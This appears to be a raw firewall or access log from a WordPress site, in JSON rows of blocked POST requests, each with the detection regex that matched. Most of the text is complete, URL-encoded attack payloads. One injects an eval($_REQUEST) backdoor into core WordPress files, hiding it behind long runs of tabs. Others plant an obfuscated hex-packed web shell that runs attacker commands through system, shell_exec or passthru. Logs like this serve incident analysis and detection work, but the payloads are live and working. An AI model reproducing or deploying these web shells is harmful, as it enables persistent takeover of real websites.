0=71\ncontent-type:application\/x-www-form-urlencoded\n\nZt=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:57:26","195.250.29.165","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-site:none\ncontent-length:2094\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-user:?1\naccept:*\/*\nsec-fetch-dest:document\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?1\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Android\"\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nIMAhJp=eval(rawurldecode(\"%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/customize\/class-wp-customize-nav-menu-name-control.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527EnaCoJ%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 14:58:19","77.73.233.48","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> pH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\ncontent-length:7160\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpRtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-type:application\/x-www-form-urlencoded\n\npH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 14:58:35","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> MS:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/block-supports\/spacing.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%25277%2527%253B%2524binding2%2520%253D%2520%2527d%2527%253B%2524binding3%2520%253D%2520%25276%2527%253B%2524binding4%2520%253D%2520%25278%2527%253B%2524binding5%2520%253D%2520%25275%2527%253B%2524binding6%2520%253D%2520%2527c%2527%253B%2524binding7%2520%253D%2520%25273%2527%253B%2524binding8%2520%253D%2520%25271%2527%253B%2524binding9%2520%253D%2520%25272%2527%253B%2524binding10%2520%253D%2520%25274%2527%253B%2524binding11%2520%253D%2520%2527f%2527%253B%2524buffer_cache1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding1.%25279%2527.%2524binding1.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%25275%2527.%25276%2527.%2524binding2%2529%253B%2524buffer_cache2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%25273%2527.%2524binding3.%2524binding4.%25276%2527.%2524binding5.%2524binding3.%2524binding6.%2524binding3.%2524binding6.%25275%2527.%2527f%2527.%25276%2527.%2524binding5.%2524binding1.%2524binding4.%2524binding3.%25275%2527.%25276%2527.%2524binding7%2529%253B%2524buffer_cache3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25276%2527.%25275%2527.%2524binding1.%25278%2527.%25276%2527.%25275%2527.%2524binding3.%2524binding7%2529%253B%2524buffer_cache4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2524binding8.%2524binding1.%25273%2527.%25277%2527.%25273%2527.%2524binding1.%25274%2527.%25276%2527.%2524binding4.%25277%2527.%2524binding9.%2524binding1.%25275%2527%2529%253B%2524buffer_cache5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%2527f%2527.%2524binding1.%25270%2527.%2524binding3.%25275%2527.%25276%2527.%2527e%2527%2529%253B%2524buffer_cache6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25273%2527.%25277%2527.%25274%2527.%25277%2527.%25272%2527.%2524binding3.%2524binding5.%25276%2527.%2524binding8.%2524binding3.%2527d%2527.%2524binding5.%2527f%2527.%2524binding3.%2524binding1.%25276%2527.%25275%2527.%2524binding1.%2524binding10.%25275%2527.%2527f%2527.%25276%2527.%2524binding7.%2524binding3.%2524binding11.%25276%2527.%2527e%2527.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25276%2527.%2527e%2527.%25277%2527.%2524binding10.%25277%2527.%2524binding7%2529%253B%2524buffer_cache7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%2524binding3.%25273%2527.%25276%2527.%2524binding6.%2524binding3.%2527f%2527.%25277%2527.%25273%2527.%25276%2527.%25275%2527%2529%253B%2524splitter_tool%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1.%2524binding7.%25277%2527.%25270%2527.%2524binding3.%2527c%2527.%25276%2527.%25279%2527.%2524binding1.%2524binding10.%2524binding1.%25274%2527.%2524binding3.%2524binding5.%25277%2527.%2524binding9.%2524binding5.%2524binding11.%25277%2527.%25274%2527.%2524binding3.%2524binding11.%25276%2527.%2527f%2527.%2524binding3.%2527c%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524splitter_tool%255D%2529%2529%257B%2524splitter_tool%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524splitter_tool%255D%2529%253Bif%2528function_exists%2528%2524buffer_cache1%2529%2529%257B%2524buffer_cache1%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache2%2529%2529%257Bprint%2520%2524buffer_cache2%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache3%2529%2529%257B%2524buffer_cache3%2528%2524splitter_tool%252C%2524entry_record%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524entry_record%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache4%2529%2529%257B%2524buffer_cache4%2528%2524splitter_tool%2529%253B%257Delseif%2528function_exists%2528%2524buffer_cache5%2529%2526%2526function_exists%2528%2524buffer_cache6%2529%2526%2526function_exists%2528%2524buffer_cache7%2529%2529%257B%2524tkn_object%253D%2524buffer_cache5%2528%2524splitter_tool%252C%2522r%2522%2529%253Bif%2528%2524tkn_object%2529%257B%2524ptr_token%253D%2524buffer_cache6%2528%2524tkn_object%2529%253B%2524buffer_cache7%2528%2524tkn_object%2529%253Bprint%2520%2524ptr_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\ncontent-length:7160\nsec-fetch-mode:navigate\nsec-fetch-user:?1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGIZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-dest:document\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google 